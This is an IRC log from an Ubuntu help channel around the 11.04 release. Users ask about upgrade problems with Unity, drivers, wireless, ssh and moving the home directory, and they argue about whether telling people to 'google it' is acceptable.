[18:15] <SaiDawi> Oh finally!!
[18:15] <SaiDawi> Thankies!
[18:15] <gmachine_24> anyone have a good utility to set CPU levels - to save on power when running on battery, etc.
[18:15] <tchomas> SaiDawi,  no problem
[18:15] <rgr> I cant help but wonder why Canonical took it on themsleves to make the default Unity which in turn puts huge HW/Driver match issue in front of people who simply want to stick with their "classic" Gnome. Its nothing short of incompetent. Many people have upgraded and now get no desktop at all becuase of Unity/Compiz issues.
[18:16] <marcavis> https://bugs.launchpad.net/ubuntu/+source/jockey/+bug/772204 hmm looking for a fix/workaround for this one
[18:16] <ubottu> Ubuntu bug 772204 in jockey (Ubuntu) "nvidia driver showing as "activated but not in use" on Natty with latest updates" [Undecided,New]
[18:16] <ph88> Dr_Willis: yes a DHCP server is needed since this is what the NAS expects, i'll check soon if i can find any tutorials on it. Thx (i assumed this functionally would work out of the box)
[18:16] <xangua> rgr: there is still 'classic desktop'
[18:16] <tchomas> for all peaople !! you can change to classic view  ( not unity) then you logout and change destkop to classic ubuntu !!
[18:16] <gmachine_24> isn't this about the point when someone says something about staying on topic
[18:16] <rgr> gmachine_24: look up laptop mode
[18:16] <marcavis> Er, I suppose plenty of people have been talking about that bug 772204?
[18:16] <bibinou> hi
[18:16] <GuyCanada> Dr_Willis: hey i just installed GRandR and it also doesnt detect the monitor so that appears to be the problem.
[18:17] <gmachine_24> rgr: stupid question: laptop mode where?
[18:17] <bibinou> I updated to natty yesterday
[18:17] <rgr> and powertop
[18:17] <mman> ph88,  cant you just give to the NAS a static ip?
[18:17] <bibinou> how can I get the old scrollbars back ?
[18:17] <mman> made and upgrade to 11.04 and wireless network does not work. did lshw -C network and my wireless network says DISABLE. any ideas how to enable it?
[18:17] <GuyCanada> doesnt anyone know how to manually turn on a hdmi output port? its not being detected by my monitors preferences or GRandR
[18:17] <rgr> in google of course withe word "ubuntu".
[18:17] <GuyCanada> does anyone*
[18:17] <Guest68448> I cannot play files on my mp4 player when I've transferred them from Ubuntu. On the mp4 player I can see the folders but not the contents. In Ubuntu I can see the folder and contents of the mp4 player. I had this problem before with PCLOS and was told to install a program that enabled communication between the OS and the mp4 player. It worked perfectly after. But I cannot remember the name of the program or the type of program it was.
[18:17] <rgr> powertop is real nice
[18:17] <Dr_Willis> ph88:  a dns server is not installed by default. so  Nope it wont. :) i always set up my NAS's and so forth with static ip's in the .200 range. so i can tell them from my other machines
[18:17] <Mathuin> The 11.04 netbook ISO BitTorrent link on the Ubuntu site doesn't work.  Is there another known good BT link for the netbook ISO?
[18:17] <Chrom_> hi all
[18:17] <bp0> bibinou, apt-get remove overlay-scrollbar liboverlayscrollbar-*
[18:17] <Dr_Willis> Mathuin:  there is no Netbook ISO.
[18:18] <Dr_Willis> Mathuin:  that link is a mistake.
[18:18] <Chrom_> I can't drag icons into the trash applet in gnome-classic. is it a knows bug?
[18:18] <Chrom_> known
[18:18] <tatzenblogde> Mathiun, did you mean the ARM?
[18:18] <bibinou> bp0 : thank you !
[18:18] <Mathuin> Dr_Willis: so the link was an oversight.
[18:18] <gmachine_24> rgr: ok thanks although I don't 'google'
[18:18] <bp0> bibinou, liboverlay-scrollbar- maybe
[18:18] <rgr> Chrom_: why not check the bug lists. Wouldnt that be the smart thing to do?
[18:18] <Dr_Willis> Mathuin:  thats what i hear. theres no x86 netbook edition any more. desktop ed. covers both.
[18:18] <Mathuin> tatzenblogde: I meant "http://releases.ubuntu.com/11.04/ubuntu-11.04-netbook-i386.iso.torrent"
[18:18] <mman> made and upgrade to 11.04 and wireless network does not work. did lshw -C network and my wireless network says DISABLE. any ideas how to enable it?
[18:18] <Chrom_> rgr: I'm a user not a developer
[18:18] <rgr> gmachine_24: ok, then guess. google can help. Its not a monster.
[18:18] <Mathuin> Dr_Willis: before I do the upgrade, does anyone know if this will work on the Eee?
[18:19] <Chrom_> but I will surely check it
[18:19] <Dr_Willis> Mathuin:  it should. test with a usb flash live setup perhaps>?
[18:19] <mrchak> SoothSayer: I think that all of my data and files were wiped with the upgrade.
[18:19] <pcrii> jockey is reporting that my video driver is activated but not currently in use (nvidia v 173) is there a way to get my drivers working properly?
[18:19] <rgr> Chrom_: right, and so are most people here. But if you use Linux then it shouldnt be beyond your cinompetence to search the bug lists if you want to know if something is already logged.
[18:19] <Soothsayer> mrchak, you ran the upgrade from within 10.10 or through a 11.04 cd?
[18:19] <sakekasi> my banshee sound menu entry has disappeared. how do I get it back?
[18:19] <ph88> mman yes i could give the NAS a static ip, but since i can't access the webinterface now ... i cant set this up
[18:19] <Mathuin> Dr_Willis: that'll tell me if the code works, but not if the upgrade works.  I've had upgrade problems in the past with desktop on the Eee, specifically windows that were too big for the screen.
[18:19] <lsimons> Is there an option for global menu so it shows the menus before you mouse over the bar?
[18:19] <pmitros> mman: I made the same mistake. Broadcom drivers, in my case, broke. Complex instructions on the interwebs for fixing it. From what I hear, lots of other drivers broke too
[18:19] <Guest68448> Chrom: I had that problem once. It was my fault. I did something with Tweak. Are you using it?
[18:19] <Bubbblebutt> Hi all could someone help me with a netbook that I just updated from 10.10 x32 to 11.04 x32 please
[18:19] <tatzenblogde> Mathiun, did you mean the ARM?Mathuin, i runn it on my eee 1005pe
[18:20] <Sledge> has anyone figured out how to navigate easily with this UNITY
[18:20] <Dr_Willis> Mathuin:  i never upgrade. :)
[18:20] <tatzenblogde> sorry
[18:20] <mrchak> Soothsayer: Not from CD, from Ubuntu Gnome Update Manager
[18:20] <groundup> Any information on how to properly clean apt-get up? I can't uninstall Nginx
[18:20] <Chrom_> rgr: do you mean ubuntu bug list, gnome bug list, trash applet bug list?
[18:20] <rgr> Bubbblebutt: just ask.
[18:20] <groundup> I tried clean
[18:20] <tatzenblogde> Mathuin, i run then ormal 32bit on my eee
[18:20] <ph88> Dr_Willis: good idea, i will use a static IP next time :)
[18:20] <lsimons> Sledge, working on it :(  I've got phantom bottom bar syndrome
[18:20] <rgr> Chrom_: I mean check.
[18:20] <Dr_Willis> Sledge:  the omgubuntu blog site has a wallpaper-cheat sheet of all the shortcut keys.
[18:20] <Soothsayer> Sledge, navigate to ?
[18:20] <Mathuin> tatzenblogde: did you have any trouble installing?  I only have a 1000, and the windows were too tall for my display to do the install, had to attach ane xternal monitor.
[18:20] <mman> pmitros, i just found a fix for broadcom, but not for Centrino that is what im looking for
[18:20] <Dr_Willis> I normally fullscreen all my apps and alt-tab all day long. :) so not much differance for me..
[18:20] <mrchak> Soothsayer: Then after all of the new files were installed and old files removed the computer rebooted and instead of booting Ubuntu I got the GRUB prompt
[18:20] <mman> pmitros, https://bugs.launchpad.net/ubuntu/+bug/760920
[18:20] <rgr> it takes as long to google "ubuntu bug *problem" as it does to ask here you know ;) if you want something explained then ask here.
[18:20] <ubottu> Ubuntu bug 760920 in Ubuntu "STA driver not can not activate bcm4311 wireless" [Undecided,New]
[18:21] <GuyCanada> how do i restart x server?
[18:21] <dclake> I have a weird problem after upgrading to 11.04
[18:21] <melone> hello =) is here maybe an expert for alsa/pulseaudio who can help me?
[18:21] <Dr_Willis> GuyCanada:  'sudo service gdm restart' should kill and restart X.
[18:21] <rgr> GuyCanada: sudo /etc/init.d/gdm restart
[18:21] <tatzenblogde> Mathuin, i have no problems. With 11.04, the wlan driver is in the kernel (before i had to install via jockey). :-) No problems
[18:21] <Chrom_> rgr: anyway, just for the records, I have been browsing the web about that for a reasonable while and I haven't found anything.
[18:21] <dclake> I get an error saying "The disf drive for / is not ready yet or not present"
[18:21] <pcrii> jockey is reporting that my video driver is activated but not currently in use (nvidia v 173) is there a way to get my drivers working properly?
[18:21] <Mathuin> tatzenblogde: thanks for the good news!  Hopefully mine will be too.  I'll find out soon!
[18:21] <dclake> "Continue to wait; or Press S to skip mounting or M for manual recovery"
[18:21] <tatzenblogde> Mathuin, no problem :-) let us know if there are any problems
[18:22] <dclake> can any one lep with this?
[18:22] <rgr> then its probably not known...
[18:22] <pmitros> mman: That only works if you have wired. In my case, both wireless and wired broke. I have to follow https://help.ubuntu.com/community/WifiDocs/Driver/bcm43xx to get the wireless back up, which seems like a ton of work
[18:22] <Mathuin> I'll do that.  Bye!
[18:22] <Dr_Willis> pcrii:  it says that i think when you just installed it. but not yet rebooted.
[18:22] <mman> ph88, cant u ssh? or in "worst" case, just install a dhcp server for a sec
[18:22] <Bubbblebutt> rgr: Ok sorry but Im fairly new to using linux and well I had a stable install of 10.10 on my Aspire one D255E and I updated it to 11.04 using the "Update" window. But now I cant move any windows around, my mouse has no right click, its laggier then CS 1.6 on 56k, and the damn keyring keeps popping up requesting a password that I have not changed....
[18:22] <tatzenblogde> bye
[18:22] <Sledge> http://www.omgubuntu.co.uk/2011/04/become-a-natty-power-user-in-no-time-using-this-unit-keyboard-shortcuts-wallpaper/
[18:22] <Sledge> you mean this?
[18:22] <Sledge> and my SEE Desktop icon is gone!
[18:22] <Sledge> grr.
[18:22] <groundup> When I try to install nginx-common I get E: Sub-process /usr/bin/dpkg returned an error code (1)
[18:22] <rgr> Bubbblebutt: welcome to a Ubuntu upgade. My advice? Ditch it and reinstall from scratch.
[18:22] <s33k> hi... i need some help.... my lap runs on ubuntu 10.10
[18:22] <Sledge> won't let me add anything to it either
[18:23] <rgr> Bubbblebutt: as it sounds really hosed.
[18:23] <mman> pmitros, download the package from another computer and then install it, dont know:P just an idea
[18:23] <s33k> i initially configured my comp in such a way that both my /home and /var load from the same partition as the partition in which / is mounted
[18:23] <s33k> i have now moved all the files of /home to a separate partition and configured my fstab to mount /home from the new partition
[18:23] <s33k> i've moved all files to the new partition but there's a .gvfs file or folder in my home dir which i am not able to move, even as root
[18:23] <s33k> it says that even the root doesn't have permission to move the file
[18:23] <przemoReX> I'd like to ask if anybody using eclipse on ubuntu 11.04 has an issue with missing side sliding bars like me
[18:23] <tatzenblogde> i trief to print with my brother-printer. problem: i installed the scanner-driver (called brscan) and wonder why it wont print o.O
[18:23] <s33k> will there be any problem if i don't copy the .gvfs file?
[18:23] <pcrii> Dr_Willis: ive rebooted several times even removed the driver and re activated it
[18:23] <bibinou> groundup: look at /var/log/dpkg.log
[18:23] <s33k> how do i fix it?
[18:23] <pmitros> mman: The package does not include the firmware. The package downloads the firmware during the install. You have to download both the package and the firmware on another computer, and do tricks to make them work together.
[18:23] <rgr> przemoReX: maybe ask in #eclipse
[18:24] <Bubbblebutt> rgr: Thank you, um would you know if there would possibly be any further updates that I could do so it doesnt rape my under powered netbook??
[18:24] <rgr> not really. slim it down yourself when you know its working.
[18:24] <pmitros> mman: Again, possible, but beyond my threshold of laziness. 11.04 appears to be, rather sadly, the most broken OS I've used in over a decade.
[18:24] <mman> pmitros, :S ok that is bad.. im searching now for the centrino wireless -N 1000
[18:24] <rgr> one thing often suggested is xfce etc but I dont recommend that route necessarily.
[18:24] <s33k> can someone help me please
[18:24] <przemoReX> rgr: it's definitelly 11.04 isue.
[18:25] <lollab> anybody got  HP 8440p Elitebook  finger  print scanner works on ubuntu ?
[18:25] <Guest27069> ikonia: you still there?
[18:25] <tatzenblogde> s33k, which problem?
[18:25] <rgr> the problem above
[18:25] <mman> pmitros, I actually didnt like 11.04 either.. nauty interface (n) i changed to gnome again
[18:25] <groundup> bibinou: what exactly am I looking for? I see a lot of half-configured <package>
[18:25] <rgr> unity is gnome I was told yesterday...
[18:25] <tatzenblogde> ah, the problem with the root-partition
[18:25] <terry> s33k: What command did you use to copy the /home files to the new partition?
[18:25] <dalton2345> rgr: no its not
[18:25] <Bubbblebutt> ok thanks rgr and all :)
[18:25] <pmitros> mman: Yeah. The new interface feels like some undergrad decided to clone the Mac UI as a class project.
[18:25] <Chrom_> rgr: basically you can't drag any file to the panel, not just to the trash, because it is added to the panel instead of interacting with the relevant applet
[18:26] <bibinou> groundup: there should be an error at the end of the file
[18:26] <terry> s33k: and what exactly is the  .gfs  file?
[18:26] <Soothsayer> anyone knows a tool I could use to capture outgoing / incoming packets from a process? GUI based preferably and easy to use.
[18:26] <rgr> Chrom_: dbus issues?
[18:26] <karma_police> any have any luck hoining 10.10 to an ad-hoc network?
[18:26] <bp0> .gvfs is where fuse mounts
[18:26] <s33k> terry,  cd /home; mount /dev/sda7 /home/seek2; mv seek/* seek2/
[18:26] <sakekasi> the sound menu integration for banshee is not working in natty.
[18:26] <bp0> s33k, you can't move it while fuse is using it
[18:26] <groundup> bibinou: there's a lot like this: 2011-04-30 13:24:02 status half-configured ufw 0.30.0-1ubuntu2 2011-04-30 13:24:02 status installed ufw 0.30.0-1ubuntu2
[18:26] <Chrom_> rgr: how can I say?
[18:26] <bp0> you can't move /home while logged in as a normal user
[18:26] <mman> pmitros, yup :( i was excited for the new version, but its now what I expected... to many problems.. dont know.. :S
[18:27] <karma_police> i am trying to connect my ubuntu to my wifi teatherd android net connection
[18:27] <pcrii> the proprietary driver jockey suggests isnt working for me (activated but not currently in use) is there any alternatives i can try or suggestions to get it working properly?
[18:27] <rgr> Chrom_: dmesg maybe
[18:27] <s33k> terry, .gvfs is gnome filesystem
[18:27] <michele> italiano
[18:27] <rgr> Just a suggestion. Same issues each time with ubuntu.
[18:27] <terry> s33k: So the /dev/sda7 partition is for /home only?
[18:27] <pmitros> mman: It's about 98% short of being a mature, release-ready project. It doesn't work well with modalless applications, which is most of Unix apps. It doesn't work well with many graphics card drivers. It can't open two terminals from the launcher. It doesn't work right with focus-follow-the-mouse. It's just nowhere near finished
[18:27] <s33k> bp0, what is fuse mount?
[18:27] <glaceon_> can someone walk me through how to connect my devices with ssh please.... im lost and confused
[18:27] <bibinou> groundup: do you have any talking about ngnix ?
[18:27] <rgr> pmitros: shhh. The fanbois will ban you...
[18:27] <tatzenblogde> glaceon, what did you tried?
[18:27] <pmitros> dynamic.21-79-r.retail.telecomitalia.it) has
[18:27] <pmitros> +joined channel #ubuntu
[18:27] <pmitros> *** Signoff: Courz (Quit: Leaving)
[18:27] <pmitros> <rgr> powertop is real nice
[18:27] <pmitros> <Dr_Willis> ph88:  a dns server is not installed by default. so  Nope it wont.
[18:27] <FloodBot2> pmitros: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[18:28] <wildc4rd> would someone be so kind as to remind me of the code to change the maximise/minimise etc buttons back to the right hand side after an upgrade to narwhal
[18:28] <bp0> s33k, you need to log in to "recovery mode" and move /home, you can't do it while a user is logged in
[18:28] <terry> s33k: bp0 is correct.
[18:28] <rgr> yes it is
[18:28] <Dr_Willis> glaceon_:  install ssh server on one,, install ssh client on others.. ssh to the ip of the server..
[18:28] <drseltsam> whois:bp0
[18:28] <Foloex> hello world
[18:28] <zub> Hi. I just upgraded to 11.04 and I see gnome-terminal now defaults to 80x22 geometry. Why is that? I can override it in settings, but I wonder where does the 80x22 come from?
[18:28] <xangua> !controls > wildc4rd
[18:28] <glaceon_> im new so i dont know what to try
[18:28] <ubottu> wildc4rd, please see my private message
[18:28] <s33k> terry, yeah... i'm planning to use /dev/sda7 for /home only
[18:28] <Chrom_> rgr: I don't think so. the drag and drop interacts with the panel indeed, but the behavior is wrong. a shortcut is added to the panel instead of interacting with the applets that are on the panel itself
[18:28] <terry> bp0: s33k But you CAN copy it.
[18:28] <xangua> glaceon_: try to read the topic
[18:28] <michele> entrare canale italiano
[18:28] <csharper> Has anyone upgraded from 10.10 to 11.04 on a parallels6 virtual machine?
[18:28] <mman> pmitros, exactly!!! hope either they make good updates or that 11.10 will be a GOOD ubuntu
[18:28] <Chrom_> if you drag a file to the trash applet, you get the item added to the panel, and not trashed
[18:28] <terry> s33k: bp0 and then delete /home later.
[18:28] <jbicha> pmitros: middle click on the Terminal button in the Launcher
[18:28] <xangua> !it | michele
[18:28] <ubottu> michele: Vai su #ubuntu-it se vuoi parlare in italiano, in questo canale usiamo solo l'inglese. Grazie! (per entrare, scrivi « /join #ubuntu-it » senza virgolette)
[18:28] <tatzenblogde> glaceon, on one computer you have to install the ssh-server. use "sudo apt-get install openssh-server"
[18:28] <jnx> irc:///ferrari
[18:28] <_Neytiri_> how do i unmount a drive via cli
[18:28] <dalton2345> what??? you can't open two terminal at once????
[18:29] <glaceon_> dr_willis, I downloaded the openssh-server on this computer
[18:29] <pmitros> Shit. Sorry. Mouse fell.
[18:29] <s33k> bp0, oh cool thanks.. i'll try doing that... logging in as root in tty1 will also do right?
[18:29] <muneeb> what you guys are  using for onscreen system monitoring? the thing which we used to have in top panel called "System Monitor"
[18:29] <tatzenblogde> glaceon, after that you have to connect to the computer. use the ip from "ifconfig" for you network-device
[18:29] <groundup> bibinou: http://pastebin.com/tYaYR28b
[18:29] <jbicha> _Neytiri_: sudo umount filepath
[18:29] <rgr> _Neytiri_: http://www.google.de/search?q=unmount+drive+from+cli+ubuntu   my pleasure
[18:29] <wildc4rd> xangua, I know they have moved, I want to move them back
[18:29] <bp0> s33k, safest is recovery mode, you can't let anything be in use in /home
[18:29] <jnx> \j #ferrari
[18:30] <dynoboyz> hello
[18:30] <_Neytiri_> ty
[18:30] <tatzenblogde> glaceon, go to the other computer and look if the both are in the same network (try ping IP FROM THE OTHER PC)
[18:30] <Dr_Willis> glaceon_:  so if you had another pc on the lan. you could 'ssh the.ip.of.your.server' and hafe a shell on the server.
[18:30] <terry> s33k: What  you should have done is   sudo mkdir /mnt/sda7 ; sudo mount /dev/sda7 /mnt/sda7 ; sudo cp -ar /home /mnt/sda7
[18:30] <Foloex> I have an issue with the module r8169 since I installed Natty, dmesg is filled with "r8169 [...] eth0: link up" lines. Is there a known issue and fix for this. I happens on two different computer running both the amd64 desktop version of Ubuntu 11.04.
[18:30] <s33k> terry: i mv-ed the /home folder and it worked... except for this single file
[18:30] <dclake_> I guess I will have to do a fresh install
[18:30] <tatzenblogde> glaceon, and then you have to connect via "ssh IP FROM THE OTHER"
[18:30] <rgr> s33k: take all that advice with a large pinch of salt. They dont have to be mounted in /mnt for a start when copying the files.
[18:31] <jbicha> rgr: telling people they should have just googled it is like saying  rtfm which is rude
[18:31] <rgr> jbicha: I didnt, but thanks for poking your nose in.
[18:31] <rgr> I gave him the actual list of answers that are easily googled.
[18:31] <nyoger> google is immediately at your disposal.  specific complex help isn't
[18:31] <terry> s33k: Actually first you need to   sudo mv home/ old-home/  and then do the above.  Then change fstab entry and reboot.  If all works well, then rm -rf old-home/
[18:31] <rgr> rtfm is rude. "google this simple phrase" is not.
[18:31] <s33k> terry: why the archiving -a??
[18:31] <nyoger> people are human
[18:31] <dynoboyz> i need help on my partition,  I don't know how to handle files with mode 40755 when using fdisk
[18:31] <Sledge> does anyone know how i can stop this panel from auto hiding
[18:32] <rgr> how to umount from a cli is not specfic or complex.
[18:32] <terry> s33k: and what exactly is the  .gfs  file?
[18:32] <tatzenblogde> Sledge, rightclick on the panel > properties and remove the cross at "autohiding"?
[18:32] <esx> Sledge: first install ccsm
[18:32] <rgr> terry: that has been discussed I thought. a Fuse file.
[18:32] <tatzenblogde> or did you mean something else o.O
[18:32] <Sledge> ccsm
[18:32] <Sledge> ok
[18:32] <jbicha> rgr: this channel is not just for specific, complex questions
[18:32] <Sledge> esx,  was going to say right clicking does not work
[18:33] <bibinou> groundup: see, there is a lot of "status not-installed nginx-common <none>"
[18:33] <damicita> how do i activate transparency as i move a window ?
[18:33] <tatzenblogde> aaaah, i forget theres unity... sorry
[18:33] <rgr> jbicha: are you here to net nanny or help? I ask because I am in the process of contributing constructively to about three threads.
[18:33] <terry> s33k: ls -l .gfs
[18:33] <xangua> !ccsm | damicita
[18:33] <ubottu> damicita: To enable advanced customization of desktop effects in Ubuntu: install 'compizconfig-settings-manager' or 'simple-ccsm'. If you install the latter, a new option will appear in your appearance properties - See also !compiz - Help in #compiz
[18:33] <rgr> once again : suggesting people google simple Qs is not rtfm
[18:33] <groundup> bibinou: yeah, I don't know how to tell it stop trying to install that until I can figure out why I can't install nginx-common
[18:33] <terry> s33k: file .gfs
[18:33] <kostas> hello, i use 11.04 desktop and I am trying to export VPN settings. When I am to save the file I get an unknown error. Does anybody know why?
[18:33] <Sledge> esx, already installed.
[18:33] <s33k> terry, thats .gvfs.... i googled it to find that is a gnome virtual file system
[18:33] <damicita> thank you
[18:33] <Sledge> tatzenblogde,  since the upgrade right clicking on the panel's does nothing.
[18:34] <phunyguy> hello... anyone in here using XChat?  How the heck do I get it to go into the unity panel and stay there when minimized?
[18:34] <ph88> the ubuntu software server listed some DHCP frontend ---- awesome !
[18:34] <hihihi100> i finally upgraded to 11.04, what do I have to do to see applications and the other 2 menus without leaving unity?
[18:34] <rgr> hihihi100: see applications?
[18:34] <Dr_Willis> theres some movehome factoid i recall
[18:34] <Dr_Willis> !movehome
[18:34] <ubottu> Your home directory is where all of your personal files are usually kept. For moving your home directory to a separate partition, please see: http://psychocats.net/ubuntu/separatehome
[18:34] <sakekasi> I have the sound menu integration plugin installed in banshee and I have the option checked in settings yet there is no banshee entry in my sound menu in natty.
[18:34] <esx> Sledge: unity settings are under desktop
[18:34] <tatzenblogde> Sledge, yes, sorry - i forget. i'm using kde and foret that the uppgrade from normal ubuntu has more changes than the kubuntu-version
[18:34] <glaceon_> Dr_willis, everytime i try to connect it comes back with connect refused
[18:34] <hihihi100> rgr, no
[18:35] <s33k> terry, ls -la .gvfs displays the following: ?------- ? ? ..gvfs
[18:35] <jbicha> hihihi100: Click the Ubuntu button in the top left corner
[18:35] <rgr> glaceon_: did you set up ssh keys?
[18:35] <terry> s33k: ls -l .gfs > gfs-info ; file .gfs >> gfs-info ; pastebinit gfs-info ; rm gfs-info
[18:35] <_Neytiri_> is there a tutorial on how to make a raid array during instualtion?
[18:35] <bibinou> groundup: seems like you use a ppa, try to contact the ppa maintener
[18:35] <s33k> even as root i don't have permissions to edit the file
[18:35] <nach0z> Hey i've got a question for yall. When aptitude is "resolving dependencies" it says "open: # closed: # defer:#" what do these mean?
[18:36] <jbicha> s33k: are you trying to edit a directory? you can only edit files
[18:36] <rgr> _Neytiri_: yes there is.
[18:36] <glaceon_> rgr, i dont know how to do that
[18:36] <kostas> Anything about VPN export???
[18:36] <jdummy> I noticed that the download page for ubuntu shows "32-bit (recommended) in their dropdown.  I've got a 64 bit machine.  Should I still get the 32 bit version?
[18:36] <hihihi100> ok, found it in the right side column, but I want to see all my aps as they were classified by me, I even created some folders and grouped them, I dont see that now, just all my aps ordered by alphabetical order
[18:36] <sakekasi> I have the sound menu integration plugin installed in banshee and I have the option checked in settings yet there is no banshee entry in my sound menu in natty.
[18:36] <phunyguy> ok let me ask a new question.  what IRC client integrates best with ubuntu and unity?
[18:36] <rgr> glaceon_: no, you need to read the tutorials and man pages.
[18:36] <hihihi100> how do I leave unity?
[18:36] <Sledge> esx, desktop ? what do you mean?
[18:36] <olabandola> how to get my hp un2400 module work in ubuntu 11.04 ?
[18:36] <terry> s33k: chmod 777 .gfs
[18:36] <xangua> !best | phunyguy
[18:36] <ubottu> phunyguy: Usually, there is no single "best" application to perform a given task. It's up to you to choose, depending on your preferences, features you require, and other factors. Do NOT take polls in the channel. If you insist on getting people's opinions, ask BestBot in #ubuntu-bots.
[18:36] <jbicha> jdummy: you can use the 64-bit version, some computers can't do the 64 version
[18:37] <stefg> _Neytiri_: the Desktop installer does not support raid-installs. you either need the alternate CD or make a single disk install and migrate that to a raid array later.
[18:37] <glaceon_> rgr, where are the tutorials?
[18:37] <esx> Sledge: run ccsm and click on the destop category on the left hand side
[18:37] <rgr> glaceon_: ssh isnt trivial when you start. And you need to be sure you do it properly or you will leave your sytsem open.
[18:37] <phunyguy> this isnt an opinion based question, ubottu
[18:37] <jdummy> jbicha: thanks
[18:37] <terry> s33k: is this .gfs file something you really need?
[18:37] <rgr> glaceon_: guess. The internet.
[18:37] <phunyguy> so let me ask it a different way.
[18:37] <phunyguy> what IRC client integrates AT ALL with unity
[18:37] <phunyguy> the reason i ask is because this one doesnt, at all.
[18:37] <stefg> _Neytiri_: what do you want to do specificaly?
[18:37] <rgr> glaceon_: http://www.google.de/search?&q=ubuntu+ssh
[18:37] <esx> Sledge: then click ubuntu unity plugin
[18:38] <jbicha> phunyguy: Empathy is installed by default but doesn't do as well at IRC, I used to use Pidgin but now use irssi
[18:38] <rgr> ssh is really great and worth mstering.
[18:38] <oCean> rgr: don't suggest google here, thanks
[18:38] <phunyguy> irssi, thanks
[18:38] <przemoReX> has anybody noticed that i 11.04 classic one cant slide buttons in window list bottom bar as it used to be? is there any way to enable it back?
[18:38] <rgr> oCean: please re-read.
[18:38] <phunyguy> is it decent at least?
[18:38] <kostas> hihihi100, logoff, select ubuntu classic and logon again and you ll be in the old classic thing.
[18:38] <oCean> rgr: people already know about google, so dont suggest it here. thanks.
[18:38] <rgr> I gave him the correct google string. UNless you think here is the place to list the entire how to on setting ssh up.
[18:38] <hihihi100> kostas, do you see any advantage in the unity desktop?
[18:38] <rgr> oCean: clearly they dont.
[18:38] <hihihi100> if so, please share
[18:38] <Sledge> Cool
[18:38] <Sledge> thanks
[18:38] <esx> Sledge: then use the hide launcher dropbox to change from dodge windows to never
[18:39] <oCean> rgr: yeas we have well equipped factoids for that
[18:39] <ohsix> przemoReX: that's a bug in compiz, it sucks; you need to restart it at the moment
[18:39] <shcherbak> rgr: There is better: man ssh
[18:39] <ohsix> rgr: don't tell people to google
[18:39] <rgr> that is not better for a noob
[18:39] <esx> Sledge: welcome.
[18:39] <rgr> ssh is mire complex than just the ssh comman itself.
[18:39] <oCean> rgr: yes it is, since it points to clearly written documentation/tuturials etc.
[18:39] <ohsix> rgr: if you are not going to personally instruct them, then don't offer any advice
[18:39] <przemoReX> ohsix: I have restarted it but still no sliding
[18:39] <rgr> it needs to be thought about and planned and in conjunction with things like gpg-agent or seahorse etc.
[18:39] <phunyguy> yeah, don't be /that/ guy  :P
[18:39] <olabandola> is there any possibles to get a hp un2400 module that handles my integrated mobile broadband work in ubuntu 11.04
[18:40] <terry> !google
[18:40] <ubottu> While Google is useful for helpers, many newer users don't have the google-fu yet. Please don't tell people to "google it" when they ask a question.
[18:40] <ohsix> przemoReX: hm, that's all i've had to do; it breaks drag & drop on the panels too
[18:40] <rgr> ohsix: we discussed you butting in yesterday when you were incorrect about xorg.conf.
[18:40] <s33k> jbache: is it a directory?? i have no idea cuz it doesn't say anything specific in ls -la
[18:40] <kostas> I did n't like it from the begining so I left it. You have to ask somebody else that had work with it.
[18:40] <s33k> terry: as i said you earlier, the root doesn't have permission to edit it
[18:40] <s33k> terry: i have no idea.... since it is a gnome vfs, i don't want my lap to crash because of it after removing the original dir
[18:40] <cfc_{Pawpad}> hi ppl
[18:40] <cfc_{Pawpad}> i need some help explaining something
[18:40] <ohsix> rgr: you have an exceptional case and you don't except that, i said that if you mean that it is still read if it is present you are correct
[18:40] <rgr> glaceon : here https://help.ubuntu.com/community/SSH/OpenSSH/Keys
[18:40] <ohsix> rgr: but it is highly deprecated and you should never have to edit it, in your case you have to; that's a shame
[18:41] <JoshDreamland> Have the flames died down yet?
[18:41] <przemoReX> ohsix: so that means I can't configure it in any way, except to just wait for bug fix
[18:41] <terry> s33k: chmod 777 .gfs/
[18:41] <ohsix> rgr: you should talk to your gpu driver vendor
[18:41] <kostas> hihihi100. I just upgraded to 11.04 yesterday!
[18:41] <cfc_{Pawpad}> $ sudo locale-gen LANG1 LANG2 LANG3 why dose it say 1 2 and 3?
[18:41] <LjL> rgr: three people in the last five minutes have questioned the way you offer help, don't you think maybe they could have a point? :\
[18:41] <phunyguy> so was this an oversight by canonical, not adding a decent IRC client to 11.04?
[18:41] <phunyguy> just curious
[18:41] <ohsix> przemoReX: there are some bugs on launchpad about it, but i haven't looked too closely, restarts have been good enough for my use
[18:41] <newb_> I want report a bug for do-release-upgrade program, but I'm unable to find his package to report with ubuntu-bug. In what package this file is?
[18:41] <s33k> terry: i can't try it at the moment, i'll have to login in the recovery mode as bp0 said... i'll try it out and get back
[18:41] <rgr> no. Please re-read them piggy backing and then what I actually said and not what they are claiming. I didt just send people to google. I providied working search queries and solid links.
[18:41] <terry> s33k: and then   mv .gfs/ /home/were/ever/it/is/supposed/to/go
[18:42] <ohsix> przemoReX: it's been mentioned that it might have something to do with the panel being restarted after compiz; but that's as far as i've seen people looking
[18:42] <esx> phunyguy: sudo apt-get install irssi
[18:42] <phunyguy> i know how to install it.
[18:42] <rgr> and the google was one in ten help replies.
[18:42] <phunyguy> was just curious why something like an IRC client was left out.
[18:42] <esx> phunyguy: then why mention it?
[18:42] <oCean> newb_: it's update-manager-core package
[18:42] <ohsix> rgr: google returns different results for different people, if you have something in mind for them to read; google yourself and provide it directly, they will not find it no matter how specific the query
[18:42] <shcherbak> phunyguy: xchat, irssi, pidgin (or other nonsense) all more....
[18:42] <xangua> phunyguy: empathy is an irc client
[18:42] <stefg> phunyguy: have a look at your indicator applet ...
[18:42] <xangua> and it comes installed*
[18:42] <newb_> oCean: Thanks!
[18:43] <phunyguy> xangua, amd shcherbak, xchat doesnt come installed, empathy i was just told didnt work right, and there is no other client installed
[18:43] <zetsuboukitteh> hello, I'm having trouble with installing deadbeef (http://deadbeef.sourceforge.net/) by adding the ppa and installing
[18:43] <przemoReX> ohsix: thanx I'll follow what's on launchpad
[18:43] <phunyguy> THATS why i ask.
[18:43] <olabandola> hello can someone help me with get my intergrated mobile broadband to wrk
[18:43] <Sledge> uh oh
[18:43] <karma_police> is there a way to join an ad-hock network with ubuntu?
[18:43] <mastro> I am in the process of choosing a laptop for work... I'll install ubuntu on it and I do not want any issue with video, audio, touchpad / whatever.. hibernate and standby should work with no issue. I need at least 4 gb ram, better if more and I want a battery that last for 3 or more hours at least.... any suggestion? (brand / model)
[18:43] <JoshDreamland> Where can I go to make my voice heard? Or do we have to wait for the BDFL of Ubuntu to decide he hates 11.04, too?
[18:43] <ohsix> karma_police: join it :]
[18:43] <phunyguy> i will try empathy for myself.  Thanks
